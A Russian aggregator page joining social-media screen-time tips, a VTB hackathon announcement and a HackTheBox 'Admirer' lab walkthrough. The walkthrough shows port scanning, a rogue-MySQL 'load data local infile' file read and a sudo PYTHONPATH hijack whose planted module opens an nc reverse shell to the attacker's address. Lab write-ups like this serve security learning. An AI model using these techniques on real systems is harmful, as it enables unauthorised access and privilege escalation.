Как следствие, мы видим, например, активизацию движения сторонников плоской Земли. Все благодаря алгоритму Youtube, который продолжает подбрасывать людям контент, совпадающий с их видением мира, даже если оно не соответствует действительности.

Проще всего думать, что это действует на нескольких не очень умных и легко внушаемых людей, предупреждает Гийом Шасло (Guillaume Chaslot), инженер, создавший алгоритм Youtube, но алгоритм с каждым днём становится всё умнее и умнее. Сегодня он убедит кого-то, что Земля плоская, а завтра он сможет убедить в чём-то и вас.

Что можете сделать вы как личность

Первый совет дает сайт Социальной дилеммы голосом Тима Кендалла (Tim Kendall).

  1. Проанализируйте время, проводимое перед экраном

    • Оцените свой уровень цифровой активности: вы не будете мотивированы на решение проблемы, если у вас нет её полноценного осознания. Это исследование показывает, что среднестатистический человек ежедневно проводит перед экраном телефона примерно 4 часа. При этом, отвечая на вопрос о продолжительности пребывания перед экраном, эти же люди будут утверждать что провели там не более половины этого времени. Вы можете проконтролировать себя с помощью установки на телефон отслеживающих активность приложений (тайм-трекеров), которые сообщат вам сколько времени вы проводите перед телефоном и какие приложения используете. Два неплохих варианта: StayFree и YourHour.

    • Отключите уведомления: они отвлекают вас, держат в постоянном желании их проверить и в течение всего дня притягивают вас к телефону. Особое беспокойство вызывает факт, что среднестатистический пользователь получает 63 уведомления в день. Это означает, что если вы бодрствуете в течение 16 часов, то получаете уведомление каждые 15 минут.

    • Установите ограничения: воспользуйтесь еще одной полезной функцией тайм-трекеров, определите для себя дневные лимиты на использование конкретных приложений, в особенности, соцсетей и новостных ресурсов. Кроме этого можно установить для себя временные (например, не использовать телефон после 9 вечера) или территориальные (не брать телефон в спальню) ограничения.

  2. Наведите порядок в лентах новостей

    Социальные сети постоянно кормят нас невероятным количеством информации, сражаясь за наше внимания. Потратьте немного времени и пересмотрите аккаунты, которые вы отслеживаете. Все ли они все еще актуальны для вас?

    Стив Бартлетт (Steve Bartlett), генеральный директор Social Chain одного из крупнейших агентств по продвижению в соцсетях, подчеркивает важность гигиены новостных лент: Ваша лента это ваша библиотека, и, даже если вы этого не осознаете, она управляет тем, что вы знаете, думаете или чувствуете. Старайтесь становиться фолловерами тех, кто просвещает, вдохновляет и мотивирует. Откажитесь от чтения записей негативных, мелочных и демотивирующих людей.

  3. Выбирайте видео на Youtube

    Одна их ключевых рекомендаций, озвученных в Социальной дилемме, это получение контроля над контентом, который мы видим. Именно мы должны его выбирать. Самый простой способ это сделать последовать совету Жарона Ланье (Jaron Lanier): прекратите кликать на видео, которые предлагает вам Youtube.

  4. Проверяйте факты

    Существует исследование, проведенное в Массачусетском технологическом институте (MIT), которое показывает, что фейковые новости распространяются в Твиттере в 6 раз быстрее, чем правдивые. Количество фейковых новостей в лентах соцсетей просто зашкаливает.

    Одна из первых вещей, которой учат будущих журналистов в университетах: всегда проверяйте дважды, даже если источник информации ваша мама. Не доверяйте своей маме. И тем более, не доверяйте лентам новостей.

  5. Поделитесь фильмом с другими

    Фильм заканчивается шуткой Следите за нами в социальных сетях. Шутка. Но, честно говоря, возможно, вам все же стоит написать пару слов о Социальной дилемме на своих страницах и рассказать лично своей семье и друзьям. Вместе мы сможем сделать несколько шагов навстречу лучшему миру. Примерно так, как описано в следующем разделе.

Что можем сделать мы как общество

  1. Присоединиться к движению за гуманные технологии

    Это движение создали Тристан Харрис (Tristan Harris), Аза Раскин (Aza Raskin) и Рэнди Фернандо (Randy Fernando), те, кто принимал участие в съемках Социальной дилеммы. Оно посвящено "созданию условий для радикально переосмысленной цифровой инфраструктуры 21 века, которая поддерживает благосостояние людей, наши отношения, демократию и единую информационную среду.

    Можете использовать их ресурсы для того, чтобы оставаться в теме. Кроме этого можно прослушать несколько тематических курсов.

  2. Бороться с политической дезинформацией

    Плагин Ad Observer был создан как часть проекта Политическая Прозрачность в Интернете (Online Political Transparency) в университете Нью-Йорка (New York University). По заявлению проекта, онлайн-рекламу обычно видит только та аудитория, на которую нацелен рекламодатель, после чего эта реклама исчезает. Это затрудняет общественный контроль за такой рекламой и привлечение к ответственности рекламодателей, в том числе политических групп.

    Установив данный плагин в свой браузер, вы внесете вклад в предоставление информации исследователям, поможете им разоблачать методы микротаргетинга, а также привлекать политических рекламодателей к ответственности.

Выводы

Не следует воспринимать эту информацию как предупреждение о конце света и полностью отключаться от сети. Что вам действительно нужно сделать, так это быть бдительными, развивать критическое мышление и начать предпринимать личные и коллективные действия по изменению ландшафта социальных сетей. Активно высказывайте свое мнение, не будьте пассивной пешкой, которую технологические гиганты используют как свой продукт.

С технологиями и социальными сетями не всё так уж плохо. Они все также дают возможность сокращать дистанцию между людьми, объединять их и распространять сообщения, которые могут помочь сделать мир лучше.

Джастин Розенштейн (Justin Rosenstein), один из разработчиков кнопки нравится в Facebook, говорит в фильме: Когда мы делали кнопку "нравится", наша мотивация была такая: Можем ли мы распространять позитив и любовь в мире? Мы не думали о том, что подростки будут впадать в депрессию, когда им ставят мало лайков, или что это может привести к политической поляризации.

Надежда есть. Но нам нужно перестать быть такими безразличными ко всей этой ситуации. Легче думать, что у вас нет абсолютно никакой силы противостоять технологическим гигантам. И если все будут так думать, это станет правдой. Но если мы объединимся в этой борьбе, то у нас есть шанс. Мы можем требовать, чтобы социальные сети разрабатывались исходя из принципов гуманизма, говорит Харрис. "Мы их создали, и мы должны взять на себя ответственность за то, чтобы они изменились.

О переводчике

Перевод статьи выполнен в Alconost.

Alconost занимается локализацией игр приложений и сайтов на 70 языков. Переводчики-носители языка, лингвистическое тестирование, облачная платформа с API, непрерывная локализация, менеджеры проектов 24/7, любые форматы строковых ресурсов.

Мы также делаем рекламные и обучающие видеоролики для сайтов, продающие, имиджевые, рекламные, обучающие, тизеры, эксплейнеры, трейлеры для Google Play и App Store.

Подробнее..

Код ваш, призы наши принимаем заявки на онлайн-хакатон ВТБ More.Tech

25.09.2020 18:15:34 | Автор: admin
Привет! Мы начали приём заявок на ВТБ More.Tech онлайн-хакатон для молодых амбициозных айтишников. От вас профессиональные навыки, желание участвовать в web- или mobile-треках соревнования и умение работать в команде. От нас призовой фонд 900 тыс. рублей и возможность начать карьеру в системообразующем российском банке.

image

С 8 по 11 октября участники полностью погрузятся в профессиональную разработку. Их ожидают митапы с экспертами, комментарии менторов и старших коллег, карьерный коучинг, воркшоп по подготовке презентаций и другие полезные активности. Интересно? Ныряем под кат за подробностями!



Первый трек хакатона для специалистов в web-разработке, второй для разработчиков под iOS/Android. ВТБ More.Tech командное состязание, поэтому лучше заранее собрать под свои знамёна коллег-единомышленников. Впрочем, мы без проблем принимаем заявки от отдельных участников, из которых в дальнейшем сформируются команды.

Задача web-трека создание антифрод-системы для web-приложений банков. Оптимальный, на наш взгляд, состав команды для защиты от мошенников включает frontend- и backend-разработчиков, DevOps-инженера, системного аналитика и product/project-менеджера.

Участникам mobile-трека предстоит разработка приложения, которое сможет распознать модель и марку автомобиля, подобрать актуальное предложение для его продажи и сформировать кредитную заявку. Помимо мобильного и backend-разработчиков mobile-команде явно не помешают дизайнер, а также специалист по компьютерному зрению. И product/project-менеджер, куда же без него.

Переход в онлайн позволил увеличить число участников соревнования и расширить его географию. Призовой фонд тоже вырос и теперь составляет 450 тыс. рублей на каждый трек.

Хакатоны важный элемент стратегии цифровой трансформации ВТБ: ребята получают возможность проявить себя и познакомиться с нашими процессами изнутри, а мы захантить перспективных IT-специалистов. Некоторые из участников прошлогоднего мероприятия уже строят карьеру в нашей команде, другим хакатон помог прокачать скиллы и определиться с дальнейшим направлением развития.

Проанализировав опыт крупнейших хакатонов, в том числе знаменитый Tech Fest Munich, мы решили выстроить работу над конкурсными проектами по принципу Dive-Create-Impact: 15 % времени на изучение условий задачи и мозговой штурм, 60 % непосредственно на реализацию, 25 % на доработку и создание презентации. Мы считаем, что такой тайминг способствует принятию наиболее эффективных решений. К тому же участники смогут освоить этот подход и использовать его в своей дальнейшей работе.

Несмотря на режим удалёнки, все четыре дня хакатона насыщены активностями, при этом деятельность каждой команды будут курировать наши менторы. В программе серия митапов с экспертами ВТБ (методология DevOps, гибкие технологии/Agile и другие темы) и мастер-класс по подготовке презентаций. Ознакомиться с расписанием, а также почитать о задачах и условиях участия подробнее можно на официальном сайте хакатона. Там же вы найдёте форму для подачи заявки. Решайтесь скорее: последний день приёма заявок 4 октября.
Подробнее..

Hack The Box. Прохождение Admirer. Уязвимость в Admirer и RCE через подмену переменной среды

26.09.2020 22:13:23 | Автор: admin

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной стать мы много-много сканируем, эксплуатируем RCE в Admirer и изменяем переменную среды для выполнения своего кода python.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.


Recon


Данная машина имеет IP адрес 10.10.10.189, который я добавляю в /etc/hosts.

10.10.10.187 admirer.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmapом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.187 --rate=500



Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A admirer.htb -p80,22,21



Из результата сканирования nmap выбираем свой следующий шаг. Так на сервере присутствую службы FTP и SSH, но для них требуются учетные данные. Так же присутствует веб сервер Apache, на котором присутствует файл robots.txt. В данном файле всего одна запись директория admin-dir. Так как больше никакой информации не представлено, наш следующий шаг сканирование директорий. Для этого используем быстрый gobuster. В параметрах укаываем, что мы хотим сканировать дирректории (dir), указываем сайт (-u), список слов(-w), расширения, которые нас интересуют (-x), количество потоков (-t).
gobuster dir -t 128 -u http://admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt



И мы находим два файла: первый содержит адреса электронных почт, а второй различные учетные данные.





И среди учетных данных находим креды для FTP. И Удачно подключаемся.



Осмотримся на сервере.



Давайте скачаем все файлы.



Есть подозрение, что данный архив является бэкапом сайта, давайте разархивируем и посмотрим, что в нем.
mkdir HTMLmv html.tar.gz HTML/ cd HTMLtar -xf html.tar.gz



Снова присутствует файл robots.txt и какая-то секретная директория, содержащая все те же файлы contacts.txt и credentials.txt.



Первый файл ничем не отличается от уже имеющегося, а вот среди учетных данных есть те, которых у нас нет.



Попытавшись их использовать, ни к чему не приходим. Давайте поищем строки user и pass во всех скачанных файлах.
grep -R -i "user\|pass" ./



И мы находим еще два пароля для одного и того же пользователя. Я собрал все имеющиеся учетные данные.



Но и они никуда не подошли.

Entry Point


При попытке выполнить неразрешенные на сайте задачи, получим отказ.







Так как все исполняемые файлы расположены в директории utility-scripts, давайте просканируем ее на хосте, причем искать будет файлы php.
gobuster dir -t 128 -u http://admirer.htb/utility-scripts/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php



И находим файл admirer.php.



Поискав информацию, из следующих источников стало понятно как получить RCE. Если указать в качестве сервера свой хост, то можно увидеть попытку подключения.

Давайте запустим на локально хосте службу myqsl.
sudo service mysql startsudo mysql -u root

И создадим пользователя для авторизации.
create user ralfadmirer@'%' identified by 'ralfadmirer'create database admirerdb;grant all privileges on admirerdb.* to 'ralfadmirer';



Теперь изменим файл конфигураций /etc/mysql/mariadb.conf.d/50-server.cnf, чтобы кто угодно мог подключаться к нашему хосту. Для этого закомментируем строку bind-address и перезапустим службу.



sudo service mysql restart

Авторизуемся от имени только что созданного пользователя.





USER


Давайте выберем нашу БД.



Далее создадим таблицу.



И выполним SQL запрос, чтобы прочитать файл index.php, в котором мы можем найти учетные данные (как это было в бэкапе).
load data local infile '../../../../etc/passwd'into table admirerdb.admirertablefields terminated by '\n'



Теперь перейдем к нашей созданной таблице.



И найдем учетные данные.



И с данным паролем мы успешно авторизуемся через SSH.









ROOT


Давайте проверим настройки sudo.



Таким образом, мы можем выполнить данный скрипт от имени супер пользователя. При просмотре данного скрипта, находим выполнения скрипта python, который так же выполняется под sudo.



И в самом скрипте указан неявный импорт.



Давайте посмотрим переменные окружения, нас интересуют пути python.



Таким образом, мы можем создать файл с таким же именем, содержащий такую же функцию, но выполняющую другие действия. А потом изменяя данную переменную среды, запустим программу, что приведет к выполнению нашего файла.
def make_archive():        import os        os.system('nc 10.10.15.110 4321 -e "/bin/sh"')make_archive()



Выполним скрипт.
sudo PYTHONPATH='/tmp/' /opt/scripts/admin_tasks.sh



И получаем бэкконнект шелл.



У нас полный над данной машиной.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

Категории

Последние комментарии

© 2006-2020, personeltest.ru